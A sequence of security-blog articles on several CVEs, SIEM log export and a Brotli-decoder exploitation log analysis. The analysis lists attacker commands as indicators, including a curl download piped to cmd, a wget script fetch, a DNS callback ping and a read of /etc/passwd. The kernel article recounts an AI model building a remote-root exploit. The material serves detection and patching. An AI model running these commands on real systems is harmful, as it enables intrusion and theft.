What is the impact of CVE-2026-109518 on systems?
Successful exploitation allows an attacker controlling the network path or a malicious package mirror to install an unverified .deb package. Since package installation scripts execute with root privileges, the attacker can potentially achieve full system compromise, including data theft, persistence, credential access, security control modification, and arbitrary command execution.
Can CVE-2026-109518 still affect me in 2026?
Yes. Any vulnerable system that has not received the corrected APT package may remain exposed when retries are enabled and package traffic can be manipulated over HTTP. Ubuntu 22.04 LTS and newer releases are vulnerable in their default retry configuration, while older systems can become exposed if administrators enable Acquire::Retries. As of November 5, 2026, the reviewed vendor advisories do not report confirmed exploitation in the wild.
How can I protect myself from CVE-2026-109518?
Install the fixed APT package provided by Debian, Ubuntu, or your Linux distribution immediately. Disable retries with Acquire::Retries=0 while applying the update, and use HTTPS package repositories wherever supported. Review package installations performed before remediation for suspicious activity and monitor vendor advisories for updated details for CVE-2026-109518 as additional research becomes available.
A critical vulnerability in the Linux kernel’s IPv4 TCP networking stack could allow an unauthenticated remote attacker to trigger memory corruption, crash vulnerable systems, and potentially execute arbitrary code with root privileges. Tracked as CVE-2026-98432, the flaw carries a CVSS 3.1 score of 9.8 and has existed in the Linux kernel since version 4.4.
The vulnerability stems from a race condition that can cause the kernel to access IP option data after the underlying memory has already been freed. An attacker capable of reaching an exposed IPv4 TCP service can attempt to trigger the condition using specially timed connection requests containing IPv4 options. No authentication, local privileges, or user interaction are required.
Security interest increased significantly after Anthropic disclosed that an internal Claude research model had developed a working exploit capable of achieving remote root command execution against a Linux server with a Multipath TCP (MPTCP) listener. The exploit first leaks a kernel pointer to bypass KASLR and then uses the same use-after-free condition to corrupt memory and redirect kernel control flow. Anthropic has not released the exploit code.
Importantly, the underlying vulnerability is not limited to MPTCP. Red Hat confirms that systems with ordinary IPv4 TCP networking remain vulnerable even when MPTCP is disabled, including default Red Hat Enterprise Linux configurations.
As of November 4, 2026, no Linux vendor, CERT, or other reviewed source has reported confirmed exploitation of the flaw in real-world attacks. Public research code demonstrating portions of the vulnerability exists, but a publicly released exploit providing the full remote-root capability demonstrated by Anthropic has not been documented.
Security teams can use SOC Prime’s AI-Native Detection Intelligence Platform to strengthen their defenses against emerging vulnerability exploitation, operationalize threat intelligence, and accelerate threat hunting across SIEM, EDR, XDR, and Data Lake environments.
Detect CVE-2026-98432 by monitoring unusual IPv4 TCP traffic containing IP options, repeated connection attempts designed to trigger race conditions, kernel crashes or memory-corruption events, and suspicious activity that could indicate successful post-exploitation.
Detection content may not be available for every CVE. Check the SOC Prime Platform for current coverage. If relevant detections are not yet available, check again as new threat intelligence and detection content are continuously added.
CVE-2026-98432 analysis
CVE-2026-98432 affects the IPv4 TCP connection-handling code in Linux kernels containing the vulnerable implementation introduced in Linux 4.4. The Linux kernel CVE team classifies the issue as critical with a CVSS 3.1 score of 9.8 and the vector AV/AC/PR/UI/S/C/I/A.
The vulnerability is a use-after-free condition caused by a race during concurrent TCP connection processing. When an IPv4 TCP connection is established, tcp_v4_syn_recv_sock() transfers IP options associated with the pending request to the newly created socket without making a separate copy.
Another CPU can simultaneously process a retransmitted SYN associated with the same request socket. During that process, functions responsible for generating the SYN-ACK continue reading the IP options while protected by an RCU read-side critical section.
However, the child socket can be destroyed while that operation is still underway. The kernel then frees the associated inet_opt structure using kfree(), leaving another CPU potentially accessing memory that has already been released. The resulting stale reference creates a use-after-free condition in ip_options_build().
A similar race exists during request socket migration, including configurations using net.ipv4.tcp_migrate_req=1 or BPF-based SK_REUSEPORT_SELECT_OR_MIGRATE. The upstream fix replaces the unsafe memory release with RCU-aware freeing, ensuring readers have finished accessing the object before its memory can be reclaimed.
The first issue specifically affects IPv4. The kernel advisory states that IPv6 is not vulnerable to that particular race because tcp_v6_syn_recv_sock() duplicates the relevant options instead of transferring them in the same manner.
Remote exploitation requires specially constructed network traffic and precise manipulation of the race condition. Red Hat notes that the likely outcomes can include a kernel crash, memory corruption, and potentially remote code execution. The lack of authentication and user interaction substantially increases the risk for systems exposing TCP services to untrusted networks.
Anthropic demonstrated that the vulnerability can be transformed into a full remote-root exploit. Its research model targeted a Linux server accepting Multipath TCP connections and used two stages to achieve command execution.
During the first stage, the exploit repeatedly triggers the race and manipulates a length value so the kernel returns additional adjacent memory in a network response. Eventually, one of these responses contains a kernel pointer. That disclosure reveals information about the kernel memory layout and allows the exploit to defeat Kernel Address Space Layout Randomization (KASLR).
During the second stage, the exploit uses the same vulnerability to cause a buffer overflow and overwrite a callback pointer. The pointer is redirected toward a payload previously placed in kernel memory using legitimate protocol functionality. When the kernel invokes the modified callback, existing kernel functions are chained together until an attacker-selected shell command is executed as root.
A particularly important characteristic of the exploit is that losing the race does not necessarily crash the server. Instead, the connection attempt can simply fail, allowing the attacker to retry repeatedly. In Anthropic’s test environment, obtaining a useful kernel pointer took approximately 48 minutes, followed by another five minutes to achieve root command execution.
This demonstration should not be interpreted to mean that MPTCP is required for exploitation. Anthropic demonstrated one successful exploit path involving an MPTCP listener, but the vulnerable code resides in ordinary IPv4 TCP handling. Red Hat explicitly warns that disabling MPTCP does not fully address the vulnerability and that default RHEL installations remain affected even though MPTCP is disabled by default.
The CVE-2026-98432 PoC situation is also important to distinguish from the existence of a complete weaponized exploit. Anthropic developed a functioning remote-root proof of concept internally but has not published it. Public code reported by security researchers can demonstrate or detect aspects of the underlying race and memory disclosure, but the reviewed sources do not document publicly released code reproducing Anthropic’s complete remote code execution chain.
The vulnerability was reported by Anthropic researcher Xinyang Ge. The upstream Linux fix was applied on October 5, 2026, while the Linux kernel CVE record was published on October 15. Anthropic publicly described its full exploitation research on October 27.
The Linux kernel project identifies the following upstream fixed versions:
Linux 5.10.272
Linux 5.15.223
Linux 6.1.190
Linux 6.6.159
Linux 6.12.113
Linux 6.18.56
Linux 7.2.10
Linux 7.3
The kernel team recommends upgrading to the latest stable kernel rather than cherry-picking individual commits.
Distribution-specific exposure and remediation differ because Linux vendors maintain their own kernels and backport security fixes. Red Hat currently rates the issue Critical at 9.8 and has released fixes for multiple RHEL 8, 9, and 10 streams. OpenShift and layered products that depend on affected RHEL kernels also require attention.
Ubuntu likewise rates the vulnerability Critical at 9.8. Ubuntu 26.10 has received a fixed generic kernel, while fixes for Ubuntu 22.04 LTS, 24.04 LTS, and 26.04 LTS were available in the -proposed testing pocket as of early November, with additional supported releases awaiting fixes. Administrators should use Canonical’s CVE page rather than relying solely on upstream kernel version numbers.
For CVE-2026-98432 detection, security teams should combine network and host telemetry. Potential network-level hunting signals include unusual inbound IPv4 TCP packets carrying IP options, especially repeated connection attempts containing Record Route or Timestamp options and abnormal patterns of SYN retransmission. The presence of such traffic alone does not confirm exploitation, but it provides a useful hunting pivot when correlated with vulnerable systems.
Host-level monitoring should include Linux kernel crashes, kernel warnings, memory-corruption indicators, unexpected service restarts, and anomalous activity immediately following suspicious network traffic. Because successful exploitation could theoretically provide root code execution, defenders should also monitor for unexpected privileged processes, newly created files, configuration changes, persistence mechanisms, and unexplained outbound connections.
There are currently no attacker-specific CVE-2026-98432 IOCs such as confirmed malicious IP addresses, domains, or malware hashes because the reviewed sources have not reported real-world exploitation. Defenders should therefore prioritize behavior-based detection and exposure assessment rather than relying on static indicators.
CVE-2026-98432 Mitigation
The definitive remediation is to install a vendor-provided kernel containing the security fix. The Linux kernel CVE team recommends moving to the latest supported stable kernel, while Linux distribution users should install packages supplied specifically by their vendor because fixes are commonly backported without changing to an upstream kernel version.
Administrators should prioritize internet-facing Linux servers and other systems accepting inbound IPv4 TCP connections. The attack surface is broad because the vulnerability exists in the kernel networking stack rather than in an individual application or server product.
Organizations should take the following steps:
Inventory Linux servers and identify the running kernel with tools such as uname -r.
Check the relevant Linux distribution’s security advisory rather than determining exposure solely from the upstream version number.
Install the vendor-provided fixed kernel as soon as it becomes available.
Reboot affected systems after installing the updated kernel to ensure the patched kernel is running.
Prioritize internet-facing servers and infrastructure accepting inbound IPv4 TCP traffic.
Review externally exposed TCP services and limit unnecessary network accessibility.
Continue monitoring vendor advisories because fix availability differs across Linux distributions, kernel variants, cloud kernels, and support channels.
Red Hat and Ubuntu have also documented an interim packet-filtering approach that drops incoming IPv4 TCP packets containing IP options. The recommended nftables condition checks for an IPv4 header length greater than five and drops matching TCP packets before they reach the vulnerable socket-handling path.
This measure can reduce exposure because the known exploitation path requires IPv4 options. However, both vendors warn that packet filtering is not a complete replacement for installing the corrected kernel. It can also interfere with workloads that legitimately depend on IPv4 options and therefore should be tested before production deployment.
Disabling MPTCP alone should not be treated as sufficient protection. Although Anthropic’s working exploit targeted an MPTCP listener, the underlying vulnerability is in normal IPv4 TCP handling. Red Hat specifically notes that RHEL remains vulnerable in its default configuration even though MPTCP is disabled.
For environments using Go applications, disabling automatic MPTCP behavior can reduce exposure to the specific exploit demonstrated by Anthropic, but this remains an incomplete risk-reduction measure. Systems without an MPTCP listener should not automatically be considered safe because other exploitation techniques may target the same underlying race.
Because no real-world compromise campaign has been confirmed, incident-response guidance should currently focus on identifying potentially vulnerable systems and suspicious exploitation behavior rather than searching for a known attacker infrastructure set. Organizations that observe unusual TCP traffic followed by kernel instability or unexpected privileged execution should treat the activity as potentially malicious and preserve network and host telemetry for investigation.
FAQ
What is CVE-2026-98432 and how does it work?
CVE-2026-98432 is a critical use-after-free vulnerability in the Linux kernel’s IPv4 TCP networking subsystem. During concurrent processing of TCP connection requests, IP option memory can be freed while another CPU is still accessing it. Specially timed remote network requests can trigger the race, potentially causing crashes, memory corruption, information disclosure, or remote code execution.
When was CVE-2026-98432 first discovered?
The vulnerability was reported by Anthropic researcher Xinyang Ge. The upstream Linux fix landed on October 5, 2026, and the Linux kernel CVE record was published on October 15. Anthropic publicly disclosed its research and working remote-root exploitation technique on October 27, 2026.
What is the impact of CVE-2026-98432 on systems?
A remote unauthenticated attacker can trigger a use-after-free condition in the Linux kernel over IPv4 TCP traffic. Possible consequences include denial of service through a kernel crash, kernel memory disclosure or corruption, and potentially arbitrary command execution with root privileges. Anthropic demonstrated successful remote root execution against a system with an MPTCP listener.
Can CVE-2026-98432 still affect me in 2026?
Yes. Systems running vulnerable Linux kernels remain exposed until the appropriate vendor security update is installed and the patched kernel is running. The underlying bug has existed since Linux 4.4, and affected distributions include major enterprise Linux platforms. However, as of November 4, 2026, the reviewed sources do not report confirmed exploitation of the vulnerability in real-world attacks.
How can I protect myself from CVE-2026-98432?
Install the latest fixed kernel provided by your Linux distribution and reboot the system to activate it. Prioritize servers accepting inbound IPv4 TCP connections and verify exposure using the vendor’s advisory. Where immediate patching is impossible, filtering inbound IPv4 TCP packets containing IP options can reduce risk, but it is not a complete substitute for updating. Security teams should continue reviewing vendor advisories for updated details for CVE-2026-98432 as additional fixes and research become available.
On the New-Scale Security Operations Platform, get an access token with your API key, then call the event search API with a filter, a time range and the fields you want. You get JSON back, one row per event. The Search app can also export results from the UI. Older on-premises Exabeam Data Lake deployments work differently; see the FAQ.
Exabeam collects logs for behavior analytics and SIEM, and since its merger with LogRhythm it covers a big share of the market. Prime Core has 15,635 detection rules for Exabeam, mapped to 542 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.
Generate an API token, run your Spotter query through the Securonix REST API (/ws/spotter/index/search), and save the events as JSON. When the source sent raw text, the original line is usually kept in the raw event field. Spotter in the UI can export results too.
Securonix pulls in large volumes of activity data for UEBA and SIEM, which makes it a rich place to export an investigation slice from. Prime Core has 14,283 detection rules for Securonix, mapped to 620 MITRE ATT&CK techniques. Below is how to get data out, sanitize it, and investigate it for free in LogTotal.
API access. You need a Securonix user that’s allowed to use the API. Tokens are generated with that user’s credentials and have a validity period you choose.
Your tenant URL. Cloud tenants usually look like https://<tenant>.securonix.net/Snypr.
Retention. Hot data is searchable directly in Spotter. Older data may sit in long-term storage that needs extra steps to search.
Export with the REST API
BASE="https://<tenant>.securonix.net/Snypr" # 1. token, valid for one day TOKEN=$(curl -sS -H "username: $SNX_USER" -H "password: $SNX_PASS" -H "validity: 1" \ "$BASE/ws/token/generate") # 2. Spotter query for a time window curl -sS -G -H "token: $TOKEN" "$BASE/ws/spotter/index/search" \ --data-urlencode 'query=index=activity AND devicehostname="web-03"' \ --data-urlencode 'eventtime_from=10/19/2026 00:00:00' \ --data-urlencode 'eventtime_to=10/20/2026 00:00:00' \ > snx_web03_1019.json # 3. one event per line jq -c '.events[]' snx_web03_1019.json > snx_web03_1019.jsonl
How you export from ArcSight depends on which part of it holds the data. For history, search in ArcSight Logger and export the results. For a repeatable route, forward events from Logger or a SmartConnector to a syslog collector as CEF, and export the collector’s file. One thing decides how useful any export is: the original raw event is kept only if your SmartConnectors were configured to preserve it.
OpenText ArcSight has been running in large SOCs for a long time, which means it often holds years of history nobody else has. Prime Core has 21,311 detection rules for ArcSight, mapped to 664 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.
Which ArcSight? Logger stores and searches events. ESM correlates them. Recon is the newer search and analytics layer. For bulk export, Logger is usually the right place.
Is the raw event there? SmartConnectors normalize events into CEF fields. They keep the original text only with raw event preservation turned on. If it was off, you can export the normalized CEF events, but not the original lines.
Rights and retention. You need a Logger user that can search the storage groups involved, and the data has to still be within Logger’s retention.
Option 1: Logger search and export
In Logger, open Search, set the time range, and write the query using CEF field names, for example destinationHostName = “web-03” AND deviceVendor = “Unix”.
Run it and check the count.
Export the results.
Option 2: Forward CEF to a syslog collector
Set up a small Linux collector with rsyslog listening on UDP or TCP 514. Then point a Logger forwarder or a SmartConnector destination at it, in CEF over syslog. Logger forwarders can also send a past time range as a one-off. Then cut the window you need from the collector’s file:
Each line is a CEF record: a header with vendor, product and event name, then key=value extensions. If raw event preservation was on, the original text sits in the rawEvent field.
Option 3: Logger REST API
Logger also has a REST API for logging in and running searches, which suits scripted exports.
A high-severity vulnerability in WordPress Core is being actively targeted in attacks, prompting the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to add the flaw to its Known Exploited Vulnerabilities (KEV) catalog. Tracked as CVE-2026-119977, the vulnerability carries a CVSS score of 8.1 and can allow an unauthenticated attacker to execute arbitrary code on a vulnerable server during a WordPress Core upgrade.
The vulnerability stems from a time-of-check time-of-use (TOCTOU) race condition in the WordPress upgrade process. During full-package Core updates, WordPress temporarily stages installation files in predictable, web-accessible locations. Attackers can repeatedly probe these locations and attempt to reach installer components during the brief period in which an upgrade is taking place.
WordPress addressed the issue in version 7.1.4, released on October 28, 2026. The vulnerability affects WordPress versions 4.7 through 7.1.3, while security fixes have also been backported to eligible older branches. WordPress stresses that only the latest release is actively supported.
The risk has moved beyond theoretical exploitation. Wordfence telemetry cited by The Hacker News recorded more than 18,500 requests targeting staged setup-config.php installer paths during the first 21 hours after disclosure. CISA subsequently confirmed evidence of exploitation and required applicable U.S. federal civilian agencies to remediate the vulnerability by November 6, 2026.
Security teams can use the SOC Prime Platform to strengthen detection coverage against emerging exploitation techniques and hunt for suspicious activity associated with vulnerable internet-facing systems. Detect CVE-2026-119977 exploitation by monitoring abnormal requests to WordPress upgrade locations, unexpected PHP execution, newly created administrative accounts, suspicious files, and post-exploitation behavior.
Detection content may not be available for every CVE. Check the SOC Prime Platform for current coverage. If relevant detections are not yet available, check again as new threat intelligence and detection content are continuously added.
CVE-2026-119977 is classified as a TOCTOU race condition under CWE-367 and has a CVSS 3.1 score of 8.1. Its vector reflects network-based exploitation requiring no privileges or user interaction, with high potential impact on confidentiality, integrity, and availability. Attack complexity is rated high because successful exploitation depends on reaching a vulnerable resource during a narrow upgrade window.
CVE-2026-119977 affects WordPress Core releases from version 4.7 through 7.1.3. The weakness is not tied to a third-party plugin or theme; it exists in the Core software upgrade mechanism itself.
The issue occurs during full-package Core upgrades. WordPress temporarily extracts the new package into a staging location beneath the wp-content/upgrade directory before replacing the existing installation. In affected releases, portions of this staging location can be predictable and reachable from the web while the update is underway.
One particularly important component is the staged setup-config.php installer. An unauthenticated attacker who correctly predicts the temporary path and reaches that component before WordPress completes cleanup may be able to interact with the staged installation and ultimately execute PHP code on the server.
This creates an unusual exploitation model. A vulnerable WordPress site is not necessarily continuously exploitable. Instead, the attacker must catch the site during the brief period in which a full-package upgrade exposes the staging files. Researchers indicate that the opportunity may last only seconds.
Attackers can compensate for that limitation through automation. Rather than making a single request, threat actors can continuously poll potential upgrade paths and wait for a target to begin updating. Wordfence observed attackers repeatedly requesting variations of staged installer locations, demonstrating that real-world actors quickly understood how to target the race condition.
The large volume of observed requests should nevertheless be interpreted carefully. The reported figures represent blocked requests or exploitation attempts and do not mean that every request resulted in successful remote code execution. Exploitation still requires the request to coincide with an active full-package upgrade and other required server conditions.
Wordfence’s initial telemetry showed more than 18,500 requests against staged installer paths in the first 21 hours. GBHackers subsequently reported nearly 59,000 attempts blocked within a 24-hour period, while The Hacker News cited additional telemetry demonstrating continued exploitation activity.
Independent honeypot telemetry cited by The Hacker News recorded exploitation attempts on October 30, further supporting CISA’s decision to classify the vulnerability as actively exploited. CISA’s addition of the flaw to KEV significantly raises the urgency for organizations operating public WordPress infrastructure.
At the time of writing, the reviewed sources do not document a broadly available, publicly validated CVE-2026-119977 PoC repository. However, public exploit code is not required to establish risk because exploitation attempts have already been observed at scale and CISA has confirmed active exploitation.
WordPress 7.1.4 changes the vulnerable upgrade process. According to the available technical reporting, the remediation includes making staging locations less predictable, introducing additional protections against direct access, and preventing staged configuration data from being promoted in an unsafe manner.
WordPress credited security researcher Umut Bayram with reporting the upgrade-process weakness. Version 7.1.4 was released on October 28, 2026, and the CVE record was subsequently published on October 31.
For CVE-2026-119977 detection, defenders should pay particular attention to web requests targeting unusual paths beneath wp-content/upgrade, especially requests referencing staged copies of setup-config.php. Repeated requests across multiple possible staging directories may indicate automated probing attempting to win the race condition.
Successful exploitation can potentially provide remote PHP code execution in the context of the affected web server. Defenders should therefore correlate suspicious upgrade-path requests with subsequent evidence such as unexpected PHP files, modification of WordPress configuration data, unfamiliar administrator accounts, malicious plugins, unusual child processes spawned by the web server, or unexpected outbound connections.
Public reporting has not identified a comprehensive set of attacker-specific CVE-2026-119977 IOCs such as stable command-and-control domains or malware hashes. This makes behavior-based detection particularly important. Requests to predictable staging paths, suspicious activity during an update window, and post-exploitation modifications provide more durable hunting opportunities than relying exclusively on static indicators.
CVE-2026-119977 Mitigation
The primary CVE-2026-119977 mitigation is to update WordPress immediately. WordPress 7.1.4 contains the security fix, and fixes have also been made available or backported for eligible older release branches. Organizations should prioritize migration to the latest actively supported WordPress version rather than relying indefinitely on legacy security backports.
Administrators should take the following actions:
Upgrade internet-facing WordPress installations to version 7.1.4 or later.
Verify that automatic updates completed successfully rather than assuming that an update was applied.
Inventory older WordPress installations, including forgotten development, staging, and legacy sites.
Review web server and WAF logs for requests targeting wp-content/upgrade and staged setup-config.php paths.
Investigate unexpected PHP files, new WordPress administrator accounts, unauthorized plugins, and unexplained configuration changes.
Review outbound connections and web-server child processes for evidence of post-exploitation activity.
Ensure WAF protections operate early enough in the request path to cover direct requests to temporary PHP files.
Consider restricting direct web access to temporary upgrade directories where operationally feasible.
Web application firewall rules can reduce exposure to automated exploitation attempts, but they should not be treated as a replacement for patching. Because the vulnerable resource can exist temporarily outside the normal WordPress request flow, administrators should verify that their WAF deployment actually inspects direct requests to staged PHP files.
Organizations that upgraded while active exploitation was already underway should also consider retrospective investigation. Completing the update removes the vulnerable behavior but does not prove that the server was not compromised while the vulnerable staging directory was available.
Review access logs surrounding the precise upgrade timestamp. Requests to the affected staging paths occurring immediately before or during the upgrade should receive additional scrutiny. Security teams should then correlate those requests with file-system changes, WordPress account modifications, PHP execution, suspicious network connections, and other post-exploitation indicators.
If compromise is suspected, isolate the affected host where practical, preserve relevant web, application, authentication, and system logs, and collect suspicious files before remediation. Credentials and secrets accessible to the WordPress/PHP process should be considered potentially exposed and rotated based on the findings of the investigation.
CISA’s inclusion of the vulnerability in KEV confirms that remediation should be treated as an immediate operational priority rather than a routine patch-cycle item. Federal Civilian Executive Branch agencies were directed to address the issue by November 6, 2026.
FAQ
What is CVE-2026-119977 and how does it work?
CVE-2026-119977 is a high-severity unauthenticated remote code execution vulnerability in WordPress Core caused by a TOCTOU race condition in the upgrade process. During full-package Core updates, WordPress temporarily stages installation files in predictable web-accessible locations. An attacker who reaches the staged installer during this brief window may be able to execute arbitrary PHP code on the server.
When was CVE-2026-119977 first discovered?
WordPress credited security researcher Umut Bayram with reporting the vulnerability. WordPress released version 7.1.4 containing the fix on October 28, 2026, while the CVE record was published on October 31. The reviewed sources do not specify the exact date on which the vulnerability was originally reported privately to WordPress.
What is the impact of CVE-2026-119977 on systems?
Successful exploitation can allow an unauthenticated remote attacker to execute arbitrary code on the affected WordPress server during the vulnerable upgrade window. Depending on the privileges of the web server process and the attacker’s follow-on actions, this could lead to website compromise, malicious file deployment, data theft, persistence, credential exposure, or further intrusion into connected infrastructure.
Can CVE-2026-119977 still affect me in 2026?
Yes. WordPress installations running affected versions remain at risk, and exploitation is occurring in the wild. CISA added the vulnerability to its Known Exploited Vulnerabilities catalog after evidence of active attacks, while security vendors have recorded tens of thousands of requests attempting to reach vulnerable staging paths.
How can I protect myself from CVE-2026-119977?
Upgrade WordPress to version 7.1.4 or a later supported release immediately and confirm that the update completed successfully. Review web server and WAF logs for requests targeting temporary upgrade directories, inspect sites for unauthorized PHP files, administrator accounts, plugins, or configuration changes, and investigate systems that were updated while exploitation attempts were underway. Organizations should also monitor WordPress and CISA advisories for updated details for CVE-2026-119977 as the exploitation landscape develops.
Node2Shell/HTTP2Shell detection is harder than it looks, because the vulnerability is not confined to one product. Node2Shell, also called HTTP2Shell, is CVE-2026-111497: an out-of-bounds write in Google’s Brotli C decoder, versions 1.0.3 to 1.2.0, scored CVSS 4.0 9.2. Since the flaw sits in a shared compression library, it reaches Node.js, Python Brotli packages, Bun, curl, Envoy, and other software that decodes Brotli.
This article covers Node2Shell/HTTP2Shell detection using a log sample analyzed in LogTotal, a log analysis tool that matches events to known threats. Below, we cover the vulnerability context, the log source, what LogTotal reported, and how to respond.
The vulnerable code sits in Brotli C decoder versions 1.0.3 to 1.2.0. Google, as the numbering authority, scored it 9.2 under CVSS 4.0, while Node.js rates it High. To read the log sample correctly, it helps to know how the bug is triggered, how the disclosure unfolded, and which software versions and configurations are exposed.
Vulnerability details for Node2Shell
A Brotli stream that declared a single block type and then switched blocks was not rejected, so decoding continued in an invalid state and wrote past a buffer. Any process that decompresses attacker-controlled Brotli data can be hit, in two directions:
Inbound: a crafted Brotli-compressed HTTP request body sent to a server that decodes it.
Outbound: a crafted response returned to a client that fetches it.
The bug has several names. Node2Shell came first because Node.js disclosed and fixed it first. HTTP2Shell reflects that it reaches any stack that decodes Brotli over HTTP, and some coverage also uses Python2Shell and Broccoli2Shell.
Disclosure and exploitation timeline
Date (2026)
Event
27 October
CISA added the CVE to its KEV catalog; US federal agencies must patch by 10 November
26 October
Exploitation in this sample logged on app-node-01
25 October
Microsoft released out-of-band .NET fixes
22 October
CVE published; code execution shown publicly on Node.js 24.22.0; Bun 1.4.4 released
21 October
Node.js disclosure and fixed releases; Brotli 1.0.10, 1.1.1, and 1.2.1 released
27 February
Fix committed to google/brotli with no release or advisory
The bug itself shipped in Brotli 1.0.3 in March 2018. Khai Tran and Sylvie Mayer of OpenAI Codex Security reported it to Node.js. A public proof of concept exists, Imperva and ELLIO both reproduced code execution against official Node.js builds, and scanners that map which hosts decompress Brotli are already in use. Code execution has not been shown for the Python packages, although they crash on malicious input, as the web-prod-01 crash in this sample shows.
Node2Shell affected versions and fixes
Component
Fixed in
Node.js 26.x / 24.x / 22.x
26.12.1 / 24.22.1 / 22.23.4
Node.js 20.x and other end-of-life lines
No fix; move to a supported line
Bun
1.4.4
Google Brotli library
1.0.10, 1.1.1, 1.2.1
PyPI brotli / brotlicffi
1.2.1 / 1.2.1.0
.NET runtime 8 / 9 / 10
8.0.33 / 9.0.22 / 10.0.14
Envoy
1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0
Istio
1.29.9, 1.30.6, 1.31.2
Java brotli4j / Ruby brotli gem
1.24.0 / 0.9.1
A vulnerable version is only exposed if attacker data can reach the decoder. In Node.js, that path exists through Express 5, body-parser 2.x, the Koa body parsers, @fastify/compress with request decompression, fetch(), and direct node:zlib Brotli calls. In Python, requests, httpx, aiohttp, and Scrapy use the brotli or brotlicffi package whenever it is installed. In .NET, Brotli decompression is off by default, and Envoy and Istio are exposed only with the Brotli decompressor enabled. curl decodes Brotli only with –compressed, through the system libbrotli, so it needs a patched distribution package; Debian and Red Hat have shipped fixed ones.
Log source and collection
Attribute
Value
File
Node2Shell_HTTP2Shell_sample-sanitized.jsonl
Events
11
Time window
26 October 2026, 11:30:55 to 11:33:05 UTC
Schema
ECS-style
Sources
4 plain-text Linux kernel and systemd-coredump messages; 7 Microsoft Defender for Endpoint process-creation events
Hosts in the sample
Three hosts appear in the raw data, on two operating systems. Each one shows a different part of the Node2Shell exposure.
Host
OS
Runtime
Activity in the logs
app-node-01
Linux
Node.js app /opt/app/server.js
Brotli crash, then post-exploitation commands
web-prod-01
Linux
Python process
Crash in _brotli.cpython-311
win-dev-01
Windows
Node.js app C:\Users\devuser\app\server.js
Download-and-execute, hidden PowerShell
Detect Node2Shell (HTTP2Shell)
LogTotal processed 11 lines in 5.3 seconds and matched 23 rules against 10 lines. It formed 2 chains, reported 1, and filtered out 1 at the AI verification step.
Verdict field
Result
Verdict
Suspicious, needs investigation
Severity
High
Confidence
Medium
The reported chain is Node2Shell / HTTP2Shell is a critical vulnerability (CVE-2026-111497): High, 100% match, 2 rules fired. It sits on a pseudonymized host between 11:30 and 11:31 UTC, and that window and evidence match app-node-01.
Exploitation: the Brotli decoder crash
The rule “Possible CVE-2026-111497 (HTTP2Shell / Node2Shell) Exploitation Attempt – Brotli Decoder Native Crash” matched node segfaulting in libbrotlidec.so.1.1.0. The core dump stack is topped by BrotliDecoderDecompressStream.
The report maps this crash to denial of service (T1499.004), which is where the Impact stage comes from. The rule’s last hit, at 11:33, falls on the python3 crash in _brotli.cpython-311 on web-prod-01, which shows the same library failing in a second runtime.
Post-exploitation on Linux
“Suspicious NodeJS Child Processes [Linux]” fired 4 times as node /opt/app/server.js spawned:
curl fetching the public C3Pool XMRig miner setup script
wget http://198.51.100.23:3000/s.sh
ping -c 1 5axzi7.dnslog.cn, an out-of-band callback check
cat /etc/passwd
Post-exploitation on Windows, outside the chain
The Windows half of the sample sits outside the reported chain but deserves the same attention. On win-dev-01, node.exe spawned cmd.exe /c “curl -s https://198.51.100.23/api/w | cmd”, a download-and-execute pattern, and then a hidden powershell.exe running whoami.
Rules that fired on this activity include Suspicious NodeJS Child Processes [Windows], Read Contents From Stdin Via Cmd.EXE, and Suspicious Powershell Cmdlets. The filtered-out chain, Meet AvisLoader: A Windows Loader Built to Outlast a Takedown (High), was driven by the curl executions.
Node2Shell IOCs from this sample
Indicator
Type
Context
198.51.100.23
IP
Payload host for s.sh (port 3000) and /api/w (HTTPS)
http://198.51.100.23:3000/s.sh
URL
Script fetched by wget on app-node-01
https://198.51.100.23/api/w
URL
Piped to cmd on win-dev-01
5axzi7.dnslog.cn
Domain
Out-of-band callback via ping
C3Pool XMRig miner setup script
Download
Fetched by curl from node
libbrotlidec.so.1.1.0 with BrotliDecoderDecompressStream on the stack
Start from the reported chain to confirm exploitation on app-node-01, then work through every finding outside the chain. In this sample, the out-of-chain rules and the filtered chain point to two more affected hosts, web-prod-01 and win-dev-01.
Node2Shell (HTTP2Shell) Mitigation
Patching Node.js alone does not close Node2Shell, because the flaw sits in the shared Brotli decoder. Every runtime or proxy that decodes Brotli needs an update, and every host in the sample needs to be in scope.
Patch every Brotli consumer
Find services on Node.js below 22.23.4, 24.22.1, or 26.12.1, on an end-of-life Node.js line, or on Bun below 1.4.4, including base images and build hosts.
Patch first the services that decompress request bodies (Express 5, body-parser 2.x, the Koa body parsers, @fastify/compress), fetch user-supplied URLs, or pass untrusted data to node:zlib Brotli functions.
Upgrade the runtime, then restart processes and rebuild container images, including self-contained .NET apps and binaries built with bun build –compile.
Upgrade PyPI brotli to 1.2.1 and brotlicffi to 1.2.1.0, and update the .NET runtime, Envoy, Istio, and distribution brotli packages.
Move off Node.js 20 and other end-of-life lines, which receive no fix.
Until patches ship, reject Content-Encoding: br at the WAF or proxy, matching it case-insensitively and inside lists such as “gzip, br”. This does not cover Brotli responses read by fetch().
LogTotal’s recommended response
Isolate the host.
Collect process, system, and network data for 11:30–11:33 UTC.
Verify the Node.js patch level: 22.23.4, 24.22.1, or 26.12.1.
Remove unauthorized binaries.
Reject untrusted Content-Encoding: br at the WAF.
Run Node.js unprivileged.
Disable automatic Brotli decompression where feasible.
Additional steps from the raw evidence
Widen the scope to win-dev-01 and web-prod-01, not just app-node-01.
Block at egress 198.51.100.23 and *.dnslog.cn.
Check for a miner: cron entries, systemd units, and a running xmrig process.
Assume /etc/passwd was read and review accounts accordingly.
Hunt for node, node.exe, or python3 spawning shells, downloaders, or network tools.
Ongoing Node2Shell monitoring
Forward kernel and systemd-coredump messages along with EDR process events. In this sample, the coredump stack was the only direct evidence of exploitation, and the EDR events carried everything that followed.
FAQ
What is Node2Shell (HTTP2Shell) and how does it work?
Node2Shell, also called HTTP2Shell, is CVE-2026-111497: an out-of-bounds write in Google’s Brotli C decoder, versions 1.0.3 to 1.2.0, scored CVSS 4.0 9.2. Crafted Brotli data can crash any process that decompresses it, and in Node.js it has been shown to give remote code execution. The analysis section above explains how it works.
When was Node2Shell first discovered?
Khai Tran and Sylvie Mayer of OpenAI Codex Security found the bug and reported it to Node.js. It dates back to Brotli 1.0.3 in March 2018. A fix was committed upstream on 27 February 2026 without a release, and Node.js disclosed the flaw on 21 October 2026.
What is the impact of Node2Shell on systems?
